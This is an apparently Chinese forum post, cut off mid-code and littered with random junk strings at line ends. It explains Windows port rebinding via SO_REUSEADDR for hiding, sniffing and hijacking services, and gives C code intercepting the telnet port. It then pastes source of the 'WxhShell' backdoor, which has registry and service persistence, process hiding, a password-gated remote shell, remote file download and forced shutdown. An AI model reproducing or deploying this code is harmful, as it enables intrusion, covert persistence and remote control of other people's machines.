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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @#$5_uU8\(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nw'i;}0v7r  
e*.l6H/B  
  saddr.sin_family = AF_INET; {Sm^F  
Vr0-evwfo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pTPWToKh  
I5PI;t+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZG>I[V'p=  
E$dPu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VeidB!GyP  
cLn&b}8'  
  这意味着什么?意味着可以进行如下的攻击: IY2ca Xu  
 +T02AS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^=@L(;Y  
M \rW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `8xt!8Z$  
:it52*3=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ] P;Ng=a  
Uc]S7F#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X-O/&WRYQ  
CEjMHP$=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fvg jqiT  
M q;m+{B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H@o 3u>}  
Ha{#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^%tmHDNL.  
G$&SlJZEk  
  #include +x$GwX  
  #include ~p^&` FA  
  #include #]pFE.o  
  #include    T7_i: HU%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v {E~R  
  int main() ;2 -%IA,  
  { [A99e`  
  WORD wVersionRequested; 9B gR@b  
  DWORD ret; ` MtI>x c  
  WSADATA wsaData; ;(AVZxCM  
  BOOL val; gwwYz]'d>r  
  SOCKADDR_IN saddr; z)N8#Y~vn  
  SOCKADDR_IN scaddr; }_m/3*x_  
  int err; X;/~d>@  
  SOCKET s; G\4h4% a  
  SOCKET sc; $/sIdFZi  
  int caddsize; uzjP!qO  
  HANDLE mt; =z`GC1]bL  
  DWORD tid;   j}~3m$  
  wVersionRequested = MAKEWORD( 2, 2 ); Ao>] ~r0  
  err = WSAStartup( wVersionRequested, &wsaData ); i|A0G%m]$  
  if ( err != 0 ) { MBZ/Pzl~  
  printf("error!WSAStartup failed!\n"); #)hc^gIO&<  
  return -1; _s{on/u  
  } @*kQZRGK7  
  saddr.sin_family = AF_INET; ";\na!MT  
   uM|*y-4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  vU(2[  
eP6`"<UM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TV#X@jQ  
  saddr.sin_port = htons(23); rbfP6t:c3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "i3wc&9!?W  
  { T 2Uu/^  
  printf("error!socket failed!\n"); 8bT]NvCA  
  return -1; Hxe!68{aR  
  } dJ~AMol  
  val = TRUE; O~Eju  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z2:^Qg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +zM WIG  
  { 8XFs)1s[  
  printf("error!setsockopt failed!\n"); Kxs_R#k  
  return -1; >6xZF'4  
  } >drG,v0qh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }',/~T6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "`;$wA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :5`=9 _|  
a'3|EWS ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3^NHV g  
  { 4#jW}4C{  
  ret=GetLastError(); DbDi n  
  printf("error!bind failed!\n"); 7{0;<@  
  return -1; [N] 5)n  
  } 1?k{jt~  
  listen(s,2); PL*Mz(&bf  
  while(1) tCZ3n  
  { %#5yC|o9Pn  
  caddsize = sizeof(scaddr); QnHb*4<  
  //接受连接请求 3QNu7oo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2/[J<c\G  
  if(sc!=INVALID_SOCKET) fGK=lT$  
  { M.b1=Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K9\p=H^T7  
  if(mt==NULL) 6k569c{7  
  { la37cG  
  printf("Thread Creat Failed!\n"); SxyXz8+e[  
  break; W@"s~I6  
  } E]T>m!6  
  } e+`LtEve0  
  CloseHandle(mt); u`K)dH,  
  } K=S-p3\g  
  closesocket(s); OPi><8x  
  WSACleanup();  Xaz`L  
  return 0; DcjF $E  
  }   W8bh49   
  DWORD WINAPI ClientThread(LPVOID lpParam) Q}/2\Q=)j  
  { F?APDGAN  
  SOCKET ss = (SOCKET)lpParam; by*?PhfF  
  SOCKET sc; hh%f mc  
  unsigned char buf[4096]; T;?=,'u  
  SOCKADDR_IN saddr; q oA?  
  long num; 2kG(\+\  
  DWORD val; h mijp1u  
  DWORD ret; */8b)I}yY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jFE1k(2e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k4@$vxy0  
  saddr.sin_family = AF_INET; $C&y-Hnar  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `B1r+uTP~  
  saddr.sin_port = htons(23); >0^oC[ B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VaV(+X  
  { A(j9T,!  
  printf("error!socket failed!\n"); Vn7FbaO^  
  return -1; "xr=:[n[  
  } VXfp=JE  
  val = 100; ~tw#Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !L|}/u3v  
  { 7dg2-4  
  ret = GetLastError(); lMn1e6~K  
  return -1; NZ{)&ObBRt  
  } 0`=>/Wr39  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s|cL mL[  
  { VLL CdZ%  
  ret = GetLastError(); sWG_MEbu  
  return -1; :" ta#g'  
  } F]fBFDk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) per$%;5E"  
  { vV(?A  
  printf("error!socket connect failed!\n"); K[j~htC{I"  
  closesocket(sc); Oh&k{DWE$  
  closesocket(ss); ~_XK<}SK  
  return -1; REK(^1 h  
  } /Wx({N'h$  
  while(1) F{'lF^Dc  
  { @ ,9cpaL3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  K}OY!|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '{-7%>`bn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [$x&J6jF.  
  num = recv(ss,buf,4096,0); #Yd 'Vve  
  if(num>0) NUQ?Q Q  
  send(sc,buf,num,0); >508-)'  
  else if(num==0) Zf,9 k".'C  
  break; wf,B/[,d  
  num = recv(sc,buf,4096,0); cYeC7l "  
  if(num>0) ua8Burl7  
  send(ss,buf,num,0); nS` :)#;  
  else if(num==0) X+$IaLfCxD  
  break; (+iOy/5#u  
  } 810pJ  
  closesocket(ss); 23iMG]J&  
  closesocket(sc); K|ZB!oq  
  return 0 ; ^sP-6 ^  
  } @5,Xr`]  
{gkY:$xnrG  
yh'P17N|q  
========================================================== sI OT6L^7  
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下边附上一个代码,,WXhSHELL qF? n&>YG  
Ia%S=xU{=  
========================================================== {Y6;/".DM  
'[zy%<2sL  
#include "stdafx.h" ` JZ`j7f  
IwZe2$f  
#include <stdio.h> ] v8.ym  
#include <string.h> 9l&4mt;+&<  
#include <windows.h> <?E~Qc t  
#include <winsock2.h> |.~0Ulk,  
#include <winsvc.h> H3Zs m)+:  
#include <urlmon.h> :H8`z8=0f{  
T[\?fSP  
#pragma comment (lib, "Ws2_32.lib") |qq7vx  
#pragma comment (lib, "urlmon.lib") i9=*ls^Cx  
U^~jB= =]  
#define MAX_USER   100 // 最大客户端连接数 s+@`Z*B5  
#define BUF_SOCK   200 // sock buffer XnNU-UCX  
#define KEY_BUFF   255 // 输入 buffer 6)#=@i` \  
tvEf-z  
#define REBOOT     0   // 重启 H"vy[/UcR  
#define SHUTDOWN   1   // 关机 CGCI3Z'  
6 66f;h  
#define DEF_PORT   5000 // 监听端口 %kXg|9Bx!  
b!gvvg<  
#define REG_LEN     16   // 注册表键长度 V 3yt{3Or  
#define SVC_LEN     80   // NT服务名长度 Qs #7<NQ  
iRsK; )<  
// 从dll定义API UtzM+7r@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /xh/M@G3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bf+7;4-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -d8U Hc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _gn`Y(c$%  
.j l|? o  
// wxhshell配置信息 /{sFrEMP\  
struct WSCFG { n*nsFvt%o  
  int ws_port;         // 监听端口  WgayH  
  char ws_passstr[REG_LEN]; // 口令 KOYcT'J@vR  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nt/#Qu2#br  
  char ws_regname[REG_LEN]; // 注册表键名 kW.it5Z#  
  char ws_svcname[REG_LEN]; // 服务名 i&',g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `44 }kkBT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U{|WN7Q:A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o^*k   
int ws_downexe;       // 下载执行标记, 1=yes 0=no qrt2BT)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [W,}&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pdEUDuX  
"+k^8ki  
}; wzNGL{3  
IWs)n1D*]  
// default Wxhshell configuration ;Q8LA",5d  
struct WSCFG wscfg={DEF_PORT, FNgC TO%  
    "xuhuanlingzhe", ,5J}Wo?Q}  
    1, se ]q~<&  
    "Wxhshell", y{O81 7 \  
    "Wxhshell", O$, bNu/g  
            "WxhShell Service", ? ht;ZP  
    "Wrsky Windows CmdShell Service", P(Wr[lH\y  
    "Please Input Your Password: ", x2@W,?oPm  
  1, QsC6\Gt#  
  "http://www.wrsky.com/wxhshell.exe", ~Jlo>  
  "Wxhshell.exe" kHx6]<  
    }; ZT1IN6;8W  
, I^:xw_  
// 消息定义模块 #a|.cm>6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '~;vp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S :%SarhBD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iW$f1=i  
char *msg_ws_ext="\n\rExit.";  PH6NU&H  
char *msg_ws_end="\n\rQuit."; au~}s |#  
char *msg_ws_boot="\n\rReboot..."; ~uRL+<.c  
char *msg_ws_poff="\n\rShutdown..."; 9f7T.}HM  
char *msg_ws_down="\n\rSave to "; \$[; d:9j  
]aqg{XdGt  
char *msg_ws_err="\n\rErr!"; pj/w9j G6  
char *msg_ws_ok="\n\rOK!"; ML-?#jNa<  
SU80i`  
char ExeFile[MAX_PATH]; dWDM{t\}\  
int nUser = 0; \Zbi`;m?  
HANDLE handles[MAX_USER]; {ZR>`'^:  
int OsIsNt; hsEQ6  
R\^XF8n6/  
SERVICE_STATUS       serviceStatus; e A'1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p"k[ac{  
tShyG! b  
// 函数声明 dp~] Wx  
int Install(void); m%[`NP (  
int Uninstall(void); X J{b_h#N  
int DownloadFile(char *sURL, SOCKET wsh); o'auCa,N  
int Boot(int flag); 4 /Q4sE~<  
void HideProc(void); ed:[^#Lj  
int GetOsVer(void); nQ}$jOU &  
int Wxhshell(SOCKET wsl); u{d\3-]/  
void TalkWithClient(void *cs); REc+@;B  
int CmdShell(SOCKET sock); lk`,s  
int StartFromService(void); ),;O3:n  
int StartWxhshell(LPSTR lpCmdLine); 8DO3L "  
;[R#:Rk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Z$E^QAP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \\{+t<?J  
RZrQ^tI3"  
// 数据结构和表定义 W v4o:_}  
SERVICE_TABLE_ENTRY DispatchTable[] = ]UFbG40Zo  
{ WO<a^g {  
{wscfg.ws_svcname, NTServiceMain}, SdM@7%UK  
{NULL, NULL} 71(C@/J  
}; ?@LqrKj 11  
\2huDNW& !  
// 自我安装 X^c2  
int Install(void) (>usa||  
{ ^j>w<ljzz  
  char svExeFile[MAX_PATH]; qrxn%#\XP  
  HKEY key; oasEG6OI8  
  strcpy(svExeFile,ExeFile); Eu)(@,]we  
3rh@|fg)E  
// 如果是win9x系统,修改注册表设为自启动 [t}\8^y  
if(!OsIsNt) { IwJ4K+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y3{ F\K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ##_Jz5P  
  RegCloseKey(key); 6L4<c+v_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lS!uL9t.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %{*)-_M  
  RegCloseKey(key); .lE7v -e  
  return 0; UD}#c:I  
    } Z:3SI$tO  
  } Ptj[9R  
} rmh 1.W  
else { wM aqR"%  
Htn''adg5  
// 如果是NT以上系统,安装为系统服务 i?0+f }5<p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k/]4L!/ T  
if (schSCManager!=0) bWEti}kW  
{ ;I@@PUnR  
  SC_HANDLE schService = CreateService h#o?O k  
  ( \[yg f6#[  
  schSCManager, DLBHZ?+!  
  wscfg.ws_svcname, C0v1x=(xiM  
  wscfg.ws_svcdisp, (#?k|e"Y"`  
  SERVICE_ALL_ACCESS, X+LG Z4]D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R m^$Dn  
  SERVICE_AUTO_START, 5@&{%99  
  SERVICE_ERROR_NORMAL, !wNj;ST*  
  svExeFile, 'wm :Xa  
  NULL, (eEs0  
  NULL, op5G}QZ  
  NULL, Tc.k0n%W:b  
  NULL, BK;Gh0mp  
  NULL vn"+x_  
  ); p^>_VE[S  
  if (schService!=0) m?)REE  
  { x_VD9  
  CloseServiceHandle(schService); y Nc"E  
  CloseServiceHandle(schSCManager); 14Y<-OO: k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @B#\3WNt  
  strcat(svExeFile,wscfg.ws_svcname); s. ]<r5v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n4%ZR~9WH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O}w"@gO@.  
  RegCloseKey(key); BWG*UjP M  
  return 0; "J (0J  
    } p;0p!~F=49  
  } Y5,[udF:O  
  CloseServiceHandle(schSCManager); ":!7R<t  
} NcMohpkq  
} vj,OX~|  
/|MHZ$Y9w?  
return 1; :plN<8  
} lNRGlTD%  
SR8)4:aKW  
// 自我卸载 Q!*}^W  
int Uninstall(void) |S0nR<x-M  
{ 1~aP)q  
  HKEY key; Vz @2_k   
vmsrypm  
if(!OsIsNt) { n> tru L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cM 5V%w  
  RegDeleteValue(key,wscfg.ws_regname); OAw- -rl  
  RegCloseKey(key); ]o+5$L,5b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~ mLc  
  RegDeleteValue(key,wscfg.ws_regname); %<]4]h  
  RegCloseKey(key); ~H4wsa39  
  return 0; o!@}&DE|*L  
  } h'm-]v  
} ;vuqI5k  
} ,$A'Y  
else { {a9( Qi  
' Ih f|;r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ='G-wX&k  
if (schSCManager!=0) 0ub0 [A  
{ >K;DBy*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =IH~:D\&  
  if (schService!=0) o|G[/o2  
  { Mv?$zV"`#  
  if(DeleteService(schService)!=0) { w Sd|-e  
  CloseServiceHandle(schService); JEh(A=Eu>  
  CloseServiceHandle(schSCManager); kVe4#LT  
  return 0; YM r2|VEU[  
  }  ,7h0y  
  CloseServiceHandle(schService); "zZ Z h  
  } ? dh  
  CloseServiceHandle(schSCManager); ;k |U2ajFJ  
} D8 BmC  
} a${<~M hm  
^g SZzJ5  
return 1;  $+  
} (J 1:J  
GTuxMg`  
// 从指定url下载文件 nr]:Y3KyxX  
int DownloadFile(char *sURL, SOCKET wsh) E*AI}:or;  
{ @s.civ!Yk  
  HRESULT hr; sXaudT  
char seps[]= "/"; [JVEKc ym  
char *token; !*e1F9k  
char *file; c4V%>A  
char myURL[MAX_PATH]; iz%wozf  
char myFILE[MAX_PATH]; =JNCQu  
LE}V{%)xD  
strcpy(myURL,sURL); >r\q6f#J4  
  token=strtok(myURL,seps); `F`{s`E)  
  while(token!=NULL) L6x;<gj  
  { )lZoXt_3  
    file=token; 38#Zlc f  
  token=strtok(NULL,seps); 8_Nyy/K#F  
  } of=N+ W  
Mj6 0?k  
GetCurrentDirectory(MAX_PATH,myFILE); MAQ(PIc>T  
strcat(myFILE, "\\"); !9t,#?!  
strcat(myFILE, file); WCD)yTg:ES  
  send(wsh,myFILE,strlen(myFILE),0); e|}B;<  
send(wsh,"...",3,0); eXQLE]L]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K1$   
  if(hr==S_OK) F}~qTF;H  
return 0; vzFo"  
else b.j$Gna>Q  
return 1;  alH6~  
RJ1 @ a  
} Dbu>rESz  
]?%S0DO*  
// 系统电源模块 PH$C."Vv  
int Boot(int flag) BUS4 T#D  
{ +L|x^ B3  
  HANDLE hToken; 46##(4RF  
  TOKEN_PRIVILEGES tkp; tj4/x7!  
0[])wl  
  if(OsIsNt) { V+5av Z}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v`@M IOv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oy-y Q YX  
    tkp.PrivilegeCount = 1; H/U.Bg 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v\o m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z 4QL&?U  
if(flag==REBOOT) { R-YNg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '*B%&QC-  
  return 0; ON9L+"vqv0  
} !oa/\p  
else { Rt>mAU$}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cto>~pV  
  return 0; c] -  
} 7M)<Sv  
  } E#R1  
  else { 2m^qXE$  
if(flag==REBOOT) { eLIZ<zzW0}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2<9&OL  
  return 0; wk#cJ`wG;  
} lVCnu> 8  
else { $0R5 ]]db)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]nNn"_qh  
  return 0; 21O@yNpS$  
} V :/v r  
} ~BiLzT1,  
Gz52^O :  
return 1; U+R9bn   
} vnWt8?)]^  
(8baa.ge  
// win9x进程隐藏模块 #(QS5J&Qq  
void HideProc(void) +Sc2'z>R  
{ NL,6<ZOon,  
_Q'f^Kj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xR8y"CpE  
  if ( hKernel != NULL ) ~ mzX1[  
  { =h xyR;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 85e*um^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _6!iv  
    FreeLibrary(hKernel); lid0 YK-  
  } !mmSF1f  
nDcH;_<;9a  
return; h$mGaw vZ~  
} g/(BV7V  
*eGG6$I  
// 获取操作系统版本 Zv2]X-  
int GetOsVer(void) "~S2XcR[ E  
{ 0{ _6le]  
  OSVERSIONINFO winfo; :}2Tof2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hBaF^AWW  
  GetVersionEx(&winfo); j\"d/{7Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >{l b|Vx  
  return 1; KrR`A(=WL  
  else LP !d|X  
  return 0; 9oIfSr,y  
} Sk:x.oOZ  
bI^F (  
// 客户端句柄模块 -Kw7! =_ g  
int Wxhshell(SOCKET wsl) m#ig.z|A  
{ Vju/+  
  SOCKET wsh; e,Z[Nox  
  struct sockaddr_in client; zJ$U5r/u  
  DWORD myID; ii&ckg>]z  
4]FS jVO  
  while(nUser<MAX_USER) !Na@T]J  
{ _DAqL@5n  
  int nSize=sizeof(client); &*bpEdkZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v_WF.sb~  
  if(wsh==INVALID_SOCKET) return 1; *2fJdY  
(&u'S+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C\Z5%2<Z  
if(handles[nUser]==0) u@P1`E1Q  
  closesocket(wsh); OsW*@v(  
else ZuZCIqN  
  nUser++; bN6i*) }  
  } )?I*zc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P,b&F  
_8ks`O#}  
  return 0; nN^lY=3  
} unNN&m#@  
NB5lxaL  
// 关闭 socket Z +O< IF%  
void CloseIt(SOCKET wsh) <EdNF&S-  
{ w+Gav4  
closesocket(wsh); f3 imkZ(  
nUser--; 6oFA=CjU{  
ExitThread(0); oIQ$98M  
} #2lvRJB  
+=d=  
// 客户端请求句柄 11 k}Ly  
void TalkWithClient(void *cs) 'vYt_T  
{ !]5V{3  
17`-eDd  
  SOCKET wsh=(SOCKET)cs; ?*[35XUd  
  char pwd[SVC_LEN]; $Yp.BE<}  
  char cmd[KEY_BUFF]; U(Bmffn4Z  
char chr[1]; |lk:(~DM  
int i,j; x <OVtAUB  
^w&!}f+  
  while (nUser < MAX_USER) { X4!Jj *  
` @lNt}  
if(wscfg.ws_passstr) { m. \JO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +G\i$d;St  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |f\WVGH  
  //ZeroMemory(pwd,KEY_BUFF); K`j:F>b  
      i=0; $~j9{*]5  
  while(i<SVC_LEN) { IxG7eX!  
)/Gi-::  
  // 设置超时 Gm3`/!r  
  fd_set FdRead; B#}EYY  
  struct timeval TimeOut; mxu!$wx  
  FD_ZERO(&FdRead); yhI;FNSf  
  FD_SET(wsh,&FdRead); ]rNxvFN*j  
  TimeOut.tv_sec=8; lgD %  
  TimeOut.tv_usec=0; ks %arm&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r:Q=6j,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y&eU\>M  
UR S=1+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rQ6>*0xL_  
  pwd=chr[0]; Pp_? z0M  
  if(chr[0]==0xd || chr[0]==0xa) { Ra6}<o  
  pwd=0; 9]lyV  
  break; A_e5Vb ,u.  
  } EcSu[b  
  i++; 3xKgj5M  
    } f! )yE`4-  
'i:lV'  
  // 如果是非法用户,关闭 socket 86!$<!I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VR%*8=  
} ,rF!o_7  
G:wO1f6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =fdW H4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?GtI.flV  
NB86+2stu  
while(1) { R3LIN-g(  
:zvAlt'q=  
  ZeroMemory(cmd,KEY_BUFF); ^<uQ9p^B  
V]"pM]>3X  
      // 自动支持客户端 telnet标准   Z }Q/u^Z  
  j=0; QC&,C}t,  
  while(j<KEY_BUFF) { !4<A|$mQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k*C[-5&#  
  cmd[j]=chr[0]; 8rFP*K9  
  if(chr[0]==0xa || chr[0]==0xd) { }n#$p{e$i  
  cmd[j]=0; pp{GaCi  
  break; 3`RI[%AN~  
  } G )`gn  
  j++; 3+ 2&9mm  
    } g!r) yzK  
PnB2a'(^@?  
  // 下载文件 yF_/.mI  
  if(strstr(cmd,"http://")) { _34%St!lg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @v!#_%J  
  if(DownloadFile(cmd,wsh)) {x[C\vZsi]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4x?I,cAN  
  else rusYNb1J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -w8?Ur1x:  
  } j~>J?w9<O  
  else { & .#dZ}J  
h?} S|>9  
    switch(cmd[0]) { T &bB8tQk  
  P"t Dq&  
  // 帮助 eNM"e-  
  case '?': { ,^ dpn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \" m&WFm  
    break; Nez '1  
  } x{GFCy7  
  // 安装 tw.z5  
  case 'i': { Uyeo0B"  
    if(Install()) wuXH'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B(6*U~Kn%  
    else .|TF /b]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZP&iy$<L  
    break; =NnG[#n%  
    } ae2SU4Jx  
  // 卸载 II[-6\d!  
  case 'r': { Ge=\IAj  
    if(Uninstall()) 'WBhW5@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y% @;\  
    else L `=*Pwcj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tu,nX'q]m  
    break; '"ze Im~  
    } 5B8fz;l= B  
  // 显示 wxhshell 所在路径 jqTK7b  
  case 'p': { ">S1,rhgS  
    char svExeFile[MAX_PATH]; Gl6:2  
    strcpy(svExeFile,"\n\r"); ]"YXa~b  
      strcat(svExeFile,ExeFile); w{;~  
        send(wsh,svExeFile,strlen(svExeFile),0); |lu@rN  
    break; ; TwqZw[.  
    } m5HMtoU  
  // 重启 kGakdLl  
  case 'b': { -Ekf T_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *"6A>:rQs  
    if(Boot(REBOOT)) =4&"fZ"v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/(eK%d4Xb  
    else { &_j<! 3*  
    closesocket(wsh); *YX:e@Fm.a  
    ExitThread(0); U2~|AkL  
    } w vI v+Q9  
    break; ed3wj3@  
    } %\)AT"  
  // 关机 =)N6 R  
  case 'd': { m6 Y0,9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^EW6}oj[  
    if(Boot(SHUTDOWN)) NqFfz9G)  
